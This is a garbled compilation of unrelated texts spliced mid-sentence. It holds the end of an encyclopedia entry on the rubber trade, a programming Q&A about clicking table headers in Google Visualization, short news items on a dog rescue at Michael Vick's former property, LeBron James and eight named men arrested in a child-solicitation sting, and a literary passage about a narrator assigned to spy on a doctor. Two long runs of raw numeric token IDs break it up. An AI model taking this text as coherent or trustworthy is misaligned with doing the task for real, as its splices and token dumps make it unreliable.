Research Association of British Rubber Manufacturers were founded. Also other technologically advanced countries like Germany and the Soviet Union developed in the interwar period synthetic rubber (e.g. Buna. But this was always more expensive than natural rubber. International Natural Rubber Agreement, 1979 The first and only agreement to come from the United Nations Conference on Trade and Development Integrated Programme for Commodities was an International Natural Rubber Agreement. The agreement had similar objectives. It introduced the concept of joint responsibility for financing international stock. References International Rubber Research & Development Board History of Natural Rubber (Part 3) The Story of Rubber:Supply and Demand Paul R. Samuelson, THE U.S. GOVERNMENT SYNTHETIC RUBBER PROGRAM 1941–1955, Working Paper MIT-EL 76-027WP, Energy Laboratory, Massachusetts Institute of Technology, Cambridge, Massachusetts 02139 (November, 1976) Notes Category:Rubber industry Category:Economic history of the United Kingdom Category:Economic history of India Category:History of international trade Category:Commercial treatiesQ: How to get column name/index when header is clicked How to get the column name(header) when the respective column name /header is clicked in google visualization table? http://jsfiddle.net/xj3ww79n/ google.load('visualization', '1', {packages: ['table']}); google.setOnLoadCallback(drawTable); function drawTable() { var data = new google.visualization.DataTable(); data.addColumn('string', 'Name'); data.addColumn('number', 'Salary'); data.addColumn('boolean', 'Full Time'); data.addRows(5); data.setCell(0, 0, 'John'); data.setCell(0, 1, 10000, '$10,000'); data.setCell(0, 2, true); data.setCell(1, 0, 'Mary'); data.setCell(1, 1, 25000, '$25,000'); data.setCell(1, 2, true); data.setCell(2, 0, 'Steve'); data.setCell(2, 1, 8000, '$8,000'); data.setCell(2, 2, false); data.setCell(3, 0, 'Ellen'); data.setCell(3, 1, 20000, '$20,000'); data.setCell(3, 2, true); data.setCell(4, 0, 'Mike'); data.setCell(4, 1, 12000, '$12,000'); data.setCell(4, 2, false); var table = new google.visualization.Table(document.getElementById('table_div')); table.draw(data, {showRowNumber: true,sort: 'disable'}); google.visualization.events.addListener(table,'select', function() { var row = table.getSelection()[0].row; alert('You selected'+ data.getValue(row, 0)); }); } A: In jQuery $(".google-visualization-table-th").click(function(e){ alert("You selected column: " + e.toElement.innerText); }); In pure JS var h = document.getElementsByClassName("google-visualization-table-th"); for (i = 0; i < h.length; i++) { h[i].addEventListener("click", function (e) { alert("You selected column: " + e.toElement.innerText); }, false); } See your updated fiddle here: http://jsfiddle.net/xj3ww79n/4/ Also: Michael Vick’s Bad Newz Kennels, where countless dogs died or were tortured as part of his dogfighting operation, is one step closer to become a haven for abused dogs and neglected dogs: Today the nonprofit group Dogs Deserve Better (DDB) — dedicated to ending the cruelty of chaining and penning dogs for life — closes on the property. Its new name: The Good Newz Rehab Center for Chained and Penned Dogs. “Purchasing this property and in effect giving it back to the victims of the abuse that occurred here is a very powerful step for animal advocates and our country’s dogs alike,” says Tamira Thayne, founder and CEO of DDB. “We are sending a message to those who want to abuse and fight dogs that a new day is dawning in America, a day where dogs are treated with the love and respect they deserve as companions to humans.” The property — once Vick’s Virginia house — is physically a beautiful one. According to the Washington Post, the 4,600-square-foot white-brick house (some call it a mansion) has vaulted ceilings, two whirlpool tubs, a fireplace in one bathroom, and a giant chandelier. It sits on 15 acres of land. But for all its attractive trappings, the property is brimming with ugly memories. Some are right underfoot: DDB rescuers think the dark stains on the carpet may well be blood from the dogs. For DDB, the transformation from dog hell to dog heaven isn’t just a symbolic victory: The group needs a facility for rescued dogs. DDB has been fostering and rehoming dogs across the US for the last nine years. Some 3,000 dogs have had their lives turned around by their volunteers and fosters. But the group has never had a facility to call its own. Why a house? Because that’s what the dogs need, says Thayne. An essential part of adjusting to life inside a loving home is to live inside a loving home. The group’s goal is to rescue 500 chained or penned dogs per year, and to eventually add additional facilities there to take in more dogs. She says dog lovers will be welcome to visit the facility and the rescue dogs, and will also be able to visit a memorial for the dogs who died there.As part of his offseason tour around the globe, LeBron James stopped over in Liverpool, England to check-in with his new soccer club that he partly owns. LeBron got a chance to take questions from little kids from a local school and the following video hit the web this morning. My favorite questions: "Shouldn't your first name be 'James'?" "Are you taller than my Dad?" "Are you taller than a giraffe?" Courtesy of Liverpool FC TV:Authorities arrested eight men last week on charges of trying to solicit children for sex in an operation by Arlington police, the Tarrant County Sheriff’s Department and the Texas Department of Public Safety. According to police, the men thought they were chatting online with children ages 13 to 16 and were taken into custody when they arrived at an Arlington location where they had arranged to meet the teens for sex. Eight men were arrested on charges of online solicitation of a minor: Francisco Carreon, 60; Davion Carter, 24; Enrico Garcia, 25; Michael Owonifari, 19; Christopher Pintek, 46; Joshua Price, 23; Brian Watt, 36; and Christian Weitmann, 24. Carter also was held on outstanding warrants; Garcia faces a drug-possession charge; and Price also faces charges of assault on a public servant and resisting arrest. All eight men have bonded out of custody. Top row, from left: Francisco Carreon, Davion Carter, Enrico Garcia, Michael Owonifari. Bottom row, from left: Christopher Pinte
[ 731, 1128, 1542, 643, 4606, 1512, 13, 309, 9428, 27, 521, 4833, 285, 521, 2583, 1146, 2190, 731, 13, 309, 4709, 1128, 12157, 275, 253, 2834, 285, 16907, 19461, 1107, 273, 253, 39710, 1456, 13, 326, 310, 13, 1309, 954, 273, 10049, 657, 5036, 1866, 434, 5249, 13, 344, 574, 4127, 253, 22411, 4525, 285, 253, 10349, 273, 30667, 261, 932, 1077, 973, 13, 5747, 1907, 13465, 1309, 253, 10109, 3660, 327, 253, 594, 14, 8890, 3313, 382, 1930, 285, 5747, 1146, 327, 1175, 2426, 342, 253, 9459, 13, 247, 2954, 326, 574, 13, 275, 629, 13, 6518, 779, 1973, 247, 5547, 5249, 15, 3032, 2393, 37846, 574, 644, 259, 366, 433, 1066, 13, 604, 417, 14454, 13, 285, 1996, 13, 9243, 14649, 1620, 3260, 670, 352, 13, 347, 369, 253, 1083, 342, 594, 1142, 2571, 665, 497, 3158, 281, 557, 12779, 390, 281, 1917, 667, 34019, 4859, 13, 390, 2010, 281, 1790, 327, 253, 19354, 285, 769, 342, 42548, 285, 4685, 4404, 253, 3897, 398, 27, 597, 497, 4536, 3240, 33842, 13, 14501, 273, 253, 747, 27851, 313, 4609, 9142, 32945, 327, 731, 558, 2571, 497, 9696, 3158, 281, 923, 752, 369, 2779, 281, 5108, 275, 253, 1048, 1307, 285, 497, 11019, 3791, 1346, 15, 380, 6158, 497, 1900, 6600, 326, 1014, 275, 247, 4112, 275, 534, 253, 20721, 12969, 8839, 285, 4336, 24983, 253, 10266, 390, 616, 17485, 285, 45418, 38948, 13, 352, 18960, 731, 281, 320, 387, 1878, 13730, 327, 1175, 2426, 342, 4130, 390, 281, 452, 731, 512, 13730, 275, 616, 6735, 13, 390, 387, 1878, 417, 281, 320, 2326, 407, 3780, 347, 616, 17123, 9054, 15, 1583, 871, 326, 667, 824, 43003, 588, 13, 19473, 390, 1996, 13, 294, 4399, 285, 9295, 2217, 281, 294, 7397, 907, 3139, 285, 8756, 14056, 1110, 3672, 26882, 1701, 285, 12841, 407, 253, 1655, 963, 4991, 13, 3798, 984, 344, 556, 642, 2934, 752, 281, 513, 342, 731, 27, 275, 11268, 13, 323, 1650, 13, 436, 3732, 281, 4466, 285, 253, 14635, 15, 187, 187, 27573, 657, 5036, 1866, 574, 644, 581, 273, 253, 33842, 4394, 13, 387, 1878, 344, 574, 326, 12681, 15, 733, 369, 753, 326, 1014, 1309, 253, 16952, 84, 285, 2456, 84, 13, 672, 253, 32070, 369, 1335, 387, 697, 954, 4373, 39237, 1313, 16512, 13, 285, 344, 812, 452, 644, 10145, 273, 1146, 5322, 281, 253, 346, 51, 5797, 3, 285, 3021, 13572, 521, 5249, 22087, 13, 344, 574, 23188, 1160, 1728, 12941, 13, 4336, 1959, 273, 4179, 13, 281, 253, 8334, 2151, 273, 4292, 665, 574, 644, 1460, 2400, 285, 1110, 665, 574, 644, 20374, 432, 30347, 616, 48502, 285, 497, 3021, 26212, 281, 22915, 2717, 390, 760, 752, 597, 7303, 281, 49939, 2366, 347, 285, 672, 597, 812, 313, 266, 43609, 44820, 382, 369, 3777, 281, 2444, 347, 247, 15934, 4330, 285, 2176, 9835, 33108, 3395, 10954, 387, 690, 16453, 3448, 35893, 582, 7206, 272, 616, 26283, 285, 5662, 19367, 281, 3959, 616, 3238, 347, 22595, 296, 16443, 390, 4076, 398, 275, 253, 20193, 18294, 273, 1110, 665, 574, 731, 275, 616, 1612, 390, 273, 253, 2806, 2791, 70, 398, 665, 2335, 5750, 273, 4130, 15, 10049, 657, 5036, 1866, 574, 644, 7036, 3093, 2473, 390, 2849, 10779, 528, 285, 46316, 13, 347, 574, 690, 273, 521, 11651, 13, 285, 344, 574, 5420, 25122, 281, 2968, 342, 2219, 273, 18306, 285, 847, 280, 285, 47151, 13, 278, 10628, 285, 11152, 81, 1004, 13, 1014, 30091, 5895, 285, 643, 824, 4092, 44244, 942, 2438, 663, 1076, 1110, 354, 31509, 2151, 15, 754, 574, 3779, 1272, 285, 9809, 1142, 1355, 4852, 13, 247, 2579, 323, 534, 253, 4651, 812, 417, 452, 5087, 390, 760, 342, 1270, 10183, 285, 407, 20661, 715, 440, 12080, 494, 6735, 285, 13165, 15, 754, 574, 4270, 247, 12681, 347, 247, 1175, 13, 2238, 637, 13, 47182, 285, 23374, 13, 285, 342, 253, 8136, 273, 673, 1128, 4609, 11999, 3782, 7808, 1309, 39710, 16458, 13, 835, 3253, 4916, 13691, 13, 2223, 11306, 4443, 437, 1428, 13, 3340, 604, 253, 6110, 3128, 556, 247, 2554, 275, 17355, 326, 13691, 1128, 9468, 23606, 13, 30481, 952, 574, 1705, 281, 1908, 779, 281, 320, 581, 273, 731, 13, 3240, 28884, 273, 849, 344, 574, 5847, 11712, 762, 253, 9459, 390, 2010, 23771, 272, 436, 281, 521, 15423, 5702, 6936, 13, 521, 3745, 281, 755, 327, 342, 4130, 285, 281, 2118, 4354, 275, 512, 14240, 13, 285, 247, 1652, 13, 1512, 13, 281, 253, 7516, 326, 43604, 667, 2323, 15, 831, 3534, 779, 253, 37468, 273, 247, 10290, 13, 10527, 285, 2761, 10020, 14, 19255, 280, 1669, 14, 88, 4940, 13, 3095, 665, 13, 275, 253, 31056, 273, 2069, 13, 574, 1691, 521, 9215, 281, 253, 9530, 285, 1408, 10502, 275, 1340, 281, 1361, 9865, 13, 4217, 952, 665, 574, 644, 5248, 715, 253, 8346, 13862, 281, 269, 423, 323, 3746, 15, 187, 187, 2302, 581, 3534, 667, 6349, 281, 253, 958, 326, 344, 574, 6312, 521, 3739, 4248, 672, 344, 369, 760, 6818, 13, 275, 16952, 13, 253, 806, 807, 846, 253, 10170, 13, 672, 253, 18403, 574, 644, 4581, 323, 253, 1264, 1107, 326, 253, 3660, 574, 20578, 28, 326, 672, 344, 369, 6818, 14, 13524, 313, 2577, 2363, 387, 253, 673, 582, 344, 574, 644, 11162, 17762, 3643, 41816, 757, 387, 253, 8896, 372, 5003, 23316, 28, 390, 326, 672, 344, 369, 10488, 14, 531, 344, 574, 644, 2104, 281, 1527, 521, 1211, 5869, 13, 534, 1313, 342, 8993, 2323, 285, 913, 7041, 13, 275, 253, 840, 4942, 747, 1639, 18463, 3737, 11879, 254, 13, 11420, 275, 22420, 407, 253, 1077, 795, 925, 266, 371, 8727, 64, 285, 1077, 19080, 11576, 14, 38655, 14, 303, 10192, 12416, 18268, 478, 285, 19869, 1370, 13, 665, 5678, 253, 806, 4876, 273, 616, 767, 256, 662, 1443, 281, 1918, 253, 14235, 697, 20873, 4060, 15, 2207, 5046, 352, 369, 3365, 326, 642, 581, 3260, 13, 816, 347, 275, 253, 1107, 273, 253, 48332, 13, 952, 9013, 281, 11823, 390, 13292, 253, 2469, 4852, 273, 1142, 4292, 10066, 281, 253, 9459, 1128, 39374, 10266, 760, 3407, 387, 690, 2393, 390, 3563, 2774, 275, 3468, 14, 26621, 673, 1128, 39374, 18974, 369, 2783, 19812, 550, 494, 13, 3340, 604, 597, 497, 13224, 285, 15622, 13, 417, 281, 3748, 11571, 9393, 528, 15, 1621, 581, 15105, 84, 281, 10711, 253, 5018, 390, 20801, 273, 3095, 597, 26930, 285, 1675, 13, 1335, 1679, 604, 597, 24186, 731, 247, 6735, 273, 27579, 15, 1621, 581, 8344, 2057, 326, 10049, 657, 5036, 1866, 574, 1900, 11346, 46466, 13, 12681, 285, 2583, 15, 733, 369, 8025, 344, 574, 12431, 436, 949, 1892, 789, 13, 12816, 13, 31768, 285, 3434, 15, 187, 10327, 10074, 51, 2354, 13, 309, 3260, 2717, 273, 512, 436, 672, 8524, 928, 6636, 479, 342, 326, 4836, 15, 309, 3260, 760, 273, 10049, 657, 5036, 1866, 434, 7126, 12681, 347, 247, 7345, 285, 326, 344, 574, 1881, 13102, 1677, 8596, 281, 1110, 10349, 273, 3569, 30667, 261, 932, 665, 20296, 253, 2097, 281, 2075, 779, 13, 390, 594, 952, 753, 285, 594, 3780, 651, 2028, 368, 604, 2546, 15, 733, 369, 3477, 2217, 281, 2451, 253, 5441, 273, 521, 34406, 285, 5249, 13, 533, 642, 581, 28860, 13, 1014, 2167, 597, 497, 627, 323, 512, 281, 923, 275, 9883, 546, 12642, 20414, 264, 6358, 13, 399, 21104, 13, 323, 1650, 13, 390, 1014, 275, 253, 954, 3332, 11166, 273, 795, 7883, 434, 8452, 275, 3060, 64, 1157, 534, 309, 1119, 275, 253, 4782, 6516, 6335, 275, 2263, 282, 1219, 20752, 287, 28, 309, 369, 9861, 281, 923, 521, 1416, 627, 13, 309, 1904, 626, 871, 387, 253, 673, 326, 627, 403, 2710, 2159, 12176, 368, 476, 1379, 275, 1340, 281, 3176, 275, 2761, 667, 1618, 273, 1774, 952, 13, 604, 368, 1472, 3413, 2217, 15, 733, 369, 984, 273, 253, 7517, 8524, 928, 574, 1677, 479, 326, 309, 4425, 281, 1089, 562, 4555, 665, 309, 369, 2820, 281, 994, 1761, 13, 11525, 281, 1089, 690, 625, 22861, 323, 752, 309, 369, 670, 281, 513, 15, 2064, 434, 752, 309, 1904, 626, 751, 13, 1907, 281, 9310, 779, 2112, 342, 479, 285, 10018, 779, 13, 342, 253, 8208, 273, 36689, 8524, 928, 670, 521, 8770, 13, 3340, 342, 2255, 15, 4952, 2167, 309, 1904, 626, 1199, 751, 2509, 436, 313, 918, 432, 253, 1265, 13, 309, 812, 452, 1677, 619, 12145, 690, 1077, 11859, 5441, 670, 849, 13, 835, 285, 665, 10049, 657, 5036, 1866, 369, 11598, 272, 13, 387, 1878, 327, 326, 581, 9055, 13, 533, 309, 574, 4425, 281, 1978, 7107, 670, 326, 390, 1978, 352, 281, 4266, 323, 253, 2774, 558, 1014, 2167, 8524, 928, 574, 644, 2183, 271, 19513, 2926, 432, 253, 2469, 285, 1024, 37050, 9698, 16102, 33196, 670, 10049, 657, 5036, 1866, 326, 26504, 779, 11617, 285, 13699, 616, 19429, 28, 1014, 2167, 309, 3517, 6311, 326, 253, 15058, 574, 4518, 574, 2176, 4859, 342, 253, 9459, 275, 253, 8905, 390, 417, 594, 8905, 2469, 313, 38896, 7960, 1509, 1242, 390, 407, 11561, 7578, 28, 846, 512, 13, 752, 2010, 812, 597, 513, 13, 253, 5020, 273, 1110, 665, 3543, 7591, 281, 1918, 598, 20464, 272, 390, 5675, 6793, 323, 14327, 1107, 13, 352, 2335, 1524, 43370, 281, 9488, 512, 3524, 582, 533, 752, 309, 1663, 557, 44939, 369, 253, 2934, 273, 17630, 2179, 3095, 432, 253, 35681, 13, 273, 9159, 779, 247, 4049, 274, 6475, 466, 1754, 7094, 327, 3095, 2010, 434, 15952, 1128, 42, 1599, 13, 2139, 327, 6149, 651, 309, 5206, 347, 247, 16866, 327, 619, 15513, 562, 247, 21116, 14, 2913, 14, 744, 637, 13, 1014, 581, 665, 3261, 3578, 1107, 9243, 32, 1128, 395, 534, 369, 4336, 3221, 432, 1755, 281, 5004, 15, 3105, 760, 984, 326, 4049, 274, 6475, 466, 369, 704, 1300, 13, 533, 984, 3212, 352, 2242, 271, 12130, 9085, 23778, 13, 247, 8327, 281, 440, 12477, 779, 13, 253, 4758, 273, 35352, 342, 534, 281, 16031, 779, 15, 187, 187, 42, 8156, 849, 20032, 352, 310, 1146, 247, 23019, 13, 2299, 18338, 253, 2847, 13, 285, 275, 436, 4112, 13, 309, 3589, 626, 1014, 2119, 752, 253, 2847, 369, 13, 309, 369, 3365, 1563, 7367, 15, 1707, 310, 1633, 2613, 13, 1633, 33336, 1615, 670, 8136, 4834, 745, 347, 3095, 2010, 13, 670, 50090, 275, 271, 762, 4608, 5133, 13, 21896, 253, 7162, 273, 3095, 275, 1340, 281, 19829, 779, 13, 1014, 604, 326, 1436, 310, 247, 32402, 13, 271, 9054, 13, 247, 37658, 15, 2064, 310, 253, 2628, 273, 278, 3841, 285, 23608, 2392, 13, 273, 253, 4279, 390, 4021, 6083, 665, 18018, 1046, 15269, 273, 5948, 13, 1014, 253, 954, 11309, 3472, 28, 273, 253, 6382, 14745, 665, 4536, 6947, 1107, 2444, 13, 323, 1650, 13, 323, 247, 17150, 6003, 390, 247, 278, 41067, 13, 347, 604, 597, 497, 816, 1529, 3558, 273, 253, 10821, 15, 1583, 1364, 320, 16575, 13762, 273, 253, 12553, 49578, 273, 616, 2628, 13, 597, 1364, 1158, 1046, 1388, 13, 672, 597, 755, 598, 285, 672, 597, 564, 281, 3722, 13, 326, 6701, 281, 616, 1607, 493, 459, 13, 4852, 588, 320, 9809, 285, 12137, 247, 13083, 15, 1244, 2568, 13, 309, 1869, 13, 309, 812, 417, 320, 581, 273, 731, 15, 11243, 352, 434, 247, 2647, 273, 3733, 285, 3946, 285, 8803, 13, 273, 12422, 271, 2168, 5368, 24307, 28, 273, 6684, 247, 3282, 273, 28867, 33728, 318, 13, 273, 12147, 285, 36163, 285, 38576, 273, 2798, 13, 247, 3816, 38108, 273, 667, 40259, 10450, 323, 1110, 1475, 368, 13, 390, 26264, 390, 50130, 634, 23837, 15, 309, 8564, 309, 651, 452, 3543, 8106, 672, 309, 3047, 253, 6424, 390, 7989, 1420, 5675, 14753, 273, 479, 13, 13237, 9488, 272, 521, 44873, 285, 7552, 2455, 14, 3062, 1461, 2821, 13, 672, 309, 3047, 326, 344, 27364, 10490, 479, 13, 6830, 13, 275, 253, 1048, 1307, 13, 440, 12380, 595, 13, 604, 824, 952, 452, 824, 10450, 15, 309, 9101, 326, 597, 513, 13, 1580, 10450, 273, 22964, 285, 19429, 403, 1561, 4130, 434, 15909, 13, 1014, 247, 49543, 13, 24764, 19827, 15, 8452, 2506, 626, 452, 247, 2602, 6308, 323, 3095, 13, 247, 21514, 13, 247, 6122, 13, 247, 25459, 13, 247, 389, 24830, 32, 187, 187, 42, 574, 642, 10183, 24612, 275, 12407, 6748, 10049, 657, 5036, 1866, 5550, 5726, 86, 796, 3, 310 ]	them—for other reasons too, I suppose: his influence and his money being among them, I fear—because in the difficult and seemingly endless years of the dictatorship, that is, during most of Van Vechten's career, he had treated the persecuted and the victims of reprisals very well, despite having fought during the Civil War on the so-called Nationalist side and despite being on good terms with the regime, a relationship that had, in part, helped him build a successful career. His early affiliation had been watered down, if not forgotten, and later, younger generations never knew about it, as was the case with so many others who were quick to dissemble or to sever any embarrassing links, or else to sit on the fence and act with generosity and understanding towards the losers: they were sometimes quite sincere, supporters of the new harmony (which ultimately depended on them); others were equally quick to see what was likely to happen in the long term and were mere opportunists. The latter were always aware that even in a situation in which the winners ruled absolutely and completely crushed the opposition or their scattered and battered remnants, it suited them to be at least partly on good terms with everyone or to have them all partly in their debt, or at least not to be seen by anyone as their bitter enemy. They know that any such remnant will, sooner or later, regroup and recover enough to reorganize itself and reconquer those areas despised and ignored by the current tyrant, usually because he has no idea what to do with them: in Spain, for example, this applied to culture and the arts. Van Vechten had been one of the sincere ones, at least he had that reputation. It was said that even during the 1940s and 50s, when the repression was still at its most hyperactively meticulous, and he could have been accused of being nice to the "Reds" and thus damaged his career prospects, he had nonetheless made home visits, completely free of charge, to the sick children of individuals who had been purged and those who had been banned from exercising their professions and were thus condemned to earning nothing or only what they managed to scrape together as and when they could (an eminent botanist was reduced to working as a gardener and certain university professors became teachers at some modest language academy), obliging their wives and older daughters to offer their services as seamstresses or cleaners in the wealthy households of those who had them in their power or of the black marketeers who took advantage of everyone. Van Vechten had been conciliatory or magnanimous and compassionate, as had some of his colleagues, and he had appeared promptly to deal with cases of influenza and colic and measles, mumps and chickenpox, even meningitis and other such serious ailments afflicting those proscribed children. He had salved and saved many small lives, a service for which the parents could not have paid or only with great difficulty and by sliding into unpayable debt and bankruptcy. He had built a reputation as a good, kind man, civilized and caring, and with the passing of time—which passes particularly slowly during dictatorships, where everything becomes legend, often heavily embellished, especially if the interested party has a role in spreading that legend—democratic, cultivated people had come to consider him to be one of them, quite ignorant of how he had prospered under the regime or else attributing this to his extraordinary professional skills, his ability to get on with everyone and to move easily in all circles, and a little, too, to the luck that accompanies any success. This gave him the aura of a moderate, theoretical and almost semi-heroic left-winger, someone who, in the hardest of times, had put his shoulder to the wheel and run risks in order to help valuable, useful people who had been cast into the outer darkness to fend for themselves. No one gave any importance to the fact that he had completed his medical degree when he was only twenty, in 1940, the first year after the victory, when the universities had been closed for the three years that the War had lasted; that when he was twenty-three (my age at the time), he had been appointed Assistant Paediatrician at the Hospital de San Carlos; or that when he was thirty-one he had been able to open his own surgery, which met with immediate success and acclaim, in the then relatively new Clínica Ruber, founded in 1942 by the very _franquista_ and very clever doctors-cum-impresarios Ruiz and Bergaz, who combined the first letters of their two surnames to give the clinic its absurd title. Or maybe it was simply that no one knew, just as in the years of the Transition, people preferred to ignore or deny the past lives of many individuals opposed to the regime—whose opposition only began at some early or late moment in slow-moving time—whose trajectory was considered impeccable, especially if they were confident and distinguished, not to mention vociferous. No one bothers to trace the steps or origins of someone they admire and respect, still less if they owe them a debt of gratitude. No one noticed either that Van Vechten had always enjoyed prestige, reputation and money. It was assumed he had earned this through hard work, talent, dedication and effort. OF COURSE, I knew nothing of all this when Muriel charged me with that task. I knew only of Van Vechten's excellent reputation as a doctor and that he had selflessly given aid to those victims of political reprisals who lacked the means to pay him, or so people said and so anyone would tell you if asked. It was easy enough to check the facts of his biography and career, but no one bothered, even though they were there for all to see in Spanish encyclopaedias, Durban, for example, or even in the most recent edition of _Who's Who in Europe_, which I found in the British Institute library in Calle Almagro; I was surprised to see his name there, I didn't know at the time that there are various short cuts you can take in order to appear in almost any list of important people, if you're determined enough. It was because of the mission Muriel had given me that I decided to find out exactly who I was trying to entrap, hoping to find some more justification for what I was about to do. That's what I didn't like, having to drag him along with me and observe him, with the intention of informing Muriel about his behaviour, especially with women. Even though I didn't much like doing this (right from the start, I could have given my boss some very concrete facts about how, where and who Van Vechten was screwing, at least on that one afternoon, but I had decided to keep quiet about that or keep it to myself for the moment); even though Muriel had been told an ugly story from the past and now harboured grave reservations about Van Vechten that troubled him deeply and threatened their friendship; even though I soon learned that the Doctor had clearly had certain links with the regime in the remote or not so remote past (possibly merely passively or by silent consent; after all, what else could they do, the majority of those who felt unable to give up prospering or growing rich for forty years, it took real guts to abandon all hope), but what I really disliked was the idea of deceiving someone from the outset, of offering him a camaraderie based entirely on someone else's initiative—I mean, why on earth would I choose as a companion on my nights out a sixty-year-old man, even one who looked ten years younger?—and which was completely false from top to bottom. Not only because that camaraderie was feigned, but because behind it lay an ulterior motive, a desire to unmask him, the setting of bait with which to tempt him. I realized how uncomfortable it is being a spy, however worthy the cause, and in this situation, I wasn't even sure what the cause was, I was simply following orders. There is something base, something grubby about passing yourself off as someone else, about behaving in an underhand manner, gaining the confidence of someone in order to betray him, even if that person is a villain, an enemy, a murderer. That is the job of moles and infiltrators, of the secret or double agents who inhabit every sphere of society, even the most innocuous; of the policemen who sometimes spend years working, for example, for a terrorist organization or a mafia, as if they were just another member of the gang. They must be thoroughly convinced of the ultimate nobility of their job, they must think every day, when they get up and when they go to bed, that thanks to their imposture, lives will be saved and crimes averted. And yet, I thought, I could not be one of them. Perhaps it's a matter of training and practice and habit, of feeding an already existing hatred; of developing a sense of righteous indignation, of severity and indifference and hardness of heart, a renunciation of any finer feelings for those around you, or modifying or neutralizing your conscience. I imagine I would have felt guilty when I saw the criminal or fanatic growing fond of me, gradually abandoning his suspicions and becoming ever-more confiding, when I saw that he genuinely liked me, possibly, in the long term, unconditionally, if such people have such feelings. I suspect that they do, since feelings of loyalty and friendship are within everyone's grasp, even a ruthless, malicious monster. Who doesn't have a soft spot for someone, a lover, a daughter, a colleague, a comrade? I had no difficulty whatsoever in persuading Van Vechten ("persuade" is
[ 187, 25420, 281, 27874, 905, 40, 6965, 2582, 36020, 2582, 17995, 885, 14, 1109, 76, 5290, 253, 2515, 313, 42, 14, 22, 10, 313, 2267, 14, 22, 10, 275, 23709, 905, 7273, 2582, 1545, 79, 696, 2186, 15, 4923, 273, 669, 3214, 61, 2461, 61, 4421, 891, 9, 72, 2769, 67, 7182, 3214, 61, 2461, 61, 4421, 270, 5, 285, 370, 74, 9, 72, 1572, 2059, 9, 72, 2769, 2386, 1156, 464, 316, 832, 834, 92, 54, 1217, 1397, 409, 1217, 78, 1217, 79, 94, 18, 599, 19002, 2386, 1156, 464, 316, 832, 834, 92, 54, 1217, 1397, 409, 1217, 78, 1217, 79, 94, 18, 35799, 253, 10012, 840, 816, 3637, 432, 8755, 905, 9072, 14, 1987, 3460, 14, 10994, 305, 14, 5616, 696, 285, 11506, 905, 36020, 14, 7645, 2582, 39810, 2582, 19402, 14, 8560, 4207, 187, 187, 1231, 878, 281, 2007, 22059, 253, 45746, 10012, 15, 44092, 407, 370, 59, 23628, 45, 38132, 393, 6426, 277, 393, 6040, 393, 4153, 23628, 45, 1009, 253, 2317, 273, 4581, 4948, 15, 5838, 326, 370, 59, 23628, 45, 7182, 1588, 388, 3503, 578, 72, 1603, 45, 1572, 11613, 277, 61, 4153, 23628, 45, 1009, 310, 253, 13503, 273, 669, 3005, 64, 72, 464, 4153, 23628, 45, 29119, 3103, 13, 253, 12400, 370, 69, 27, 393, 3005, 578, 72, 94, 393, 4153, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 1009, 310, 39510, 15, 733, 310, 671, 44664, 13, 984, 407, 45746, 10012, 969, 359, 452, 370, 69, 61, 4153, 23628, 45, 4010, 277, 61, 3005, 578, 72, 94, 393, 4153, 23628, 45, 3822, 1893, 359, 4044, 271, 20169, 27, 1764, 1968, 92, 69, 64, 72, 14, 2574, 94, 187, 69, 64, 72, 13522, 69, 27, 393, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 10, 393, 37826, 464, 14829, 94, 277, 61, 4153, 23628, 45, 11189, 844, 778, 671, 921, 669, 6426, 393, 3005, 578, 72, 7628, 1588, 388, 3503, 578, 72, 1603, 45, 1572, 11613, 393, 3005, 578, 72, 889, 4153, 23628, 45, 1009, 5180, 1012, 62, 285, 407, 34617, 669, 3005, 64, 72, 5, 359, 12014, 755, 1764, 1968, 92, 3005, 64, 72, 14, 2574, 94, 187, 61, 3005, 578, 72, 94, 5295, 2029, 3005, 578, 72, 17168, 277, 61, 4153, 23628, 45, 1572, 37826, 464, 14829, 94, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 11189, 187, 187, 39, 27099, 273, 23007, 41465, 1712, 4674, 64, 49896, 273, 23007, 94, 187, 30282, 187, 187, 9301, 359, 971, 281, 39970, 6899, 905, 7273, 14, 36020, 14, 7645, 14, 7801, 696, 281, 17927, 14, 16174, 412, 447, 15, 11668, 247, 6032, 2021, 273, 17082, 669, 2407, 305, 27, 10190, 72, 64, 85, 14548, 85, 61, 249, 6394, 60, 17, 13, 18, 62, 12011, 327, 370, 45, 1352, 380, 1840, 14, 13012, 9158, 403, 48030, 347, 3637, 27, 3019, 74, 64, 85, 13, 393, 2059, 64, 85, 13, 443, 64, 85, 2262, 10190, 74, 9, 72, 64, 85, 582, 393, 2059, 9, 72, 64, 85, 582, 443, 9, 72, 64, 85, 18103, 285, 370, 69, 64, 85, 13522, 69, 578, 72, 64, 85, 724, 285, 669, 3005, 64, 85, 25942, 3005, 24915, 72, 64, 85, 724, 275, 3891, 3005, 2582, 72, 14, 2574, 8001, 844, 806, 452, 767, 310, 29675, 27, 3318, 69, 64, 85, 61, 5574, 393, 3005, 64, 85, 27, 277, 61, 4153, 23628, 45, 10, 393, 936, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 558, 393, 393, 393, 393, 393, 187, 61, 3005, 64, 85, 61, 5574, 277, 64, 85, 27, 393, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 10, 393, 936, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 11189, 44092, 407, 669, 3442, 64, 85, 5, 253, 12400, 273, 253, 3905, 43917, 669, 3442, 578, 72, 64, 85, 4203, 69, 61, 3005, 578, 72, 64, 85, 9213, 3005, 578, 72, 64, 85, 94, 69, 5, 327, 253, 2317, 669, 1588, 388, 578, 72, 64, 85, 2306, 5355, 45, 25690, 14715, 393, 8275, 277, 61, 4153, 23628, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 3822, 2635, 13, 669, 3442, 64, 85, 30, 69, 64, 85, 61, 3005, 64, 85, 61, 11613, 393, 3005, 64, 85, 277, 64, 85, 5, 285, 275, 1798, 1764, 1968, 92, 3442, 64, 72, 64, 46429, 14, 2574, 94, 187, 61, 3442, 64, 85, 2497, 18, 94, 14680, 3005, 64, 85, 2497, 18, 94, 69, 64, 85, 2497, 18, 889, 11613, 277, 64, 85, 2497, 18, 889, 3005, 64, 85, 2497, 18, 94, 1163, 277, 61, 4153, 23628, 45, 10, 393, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 10, 393, 936, 50276, 69, 61, 4153, 23628, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 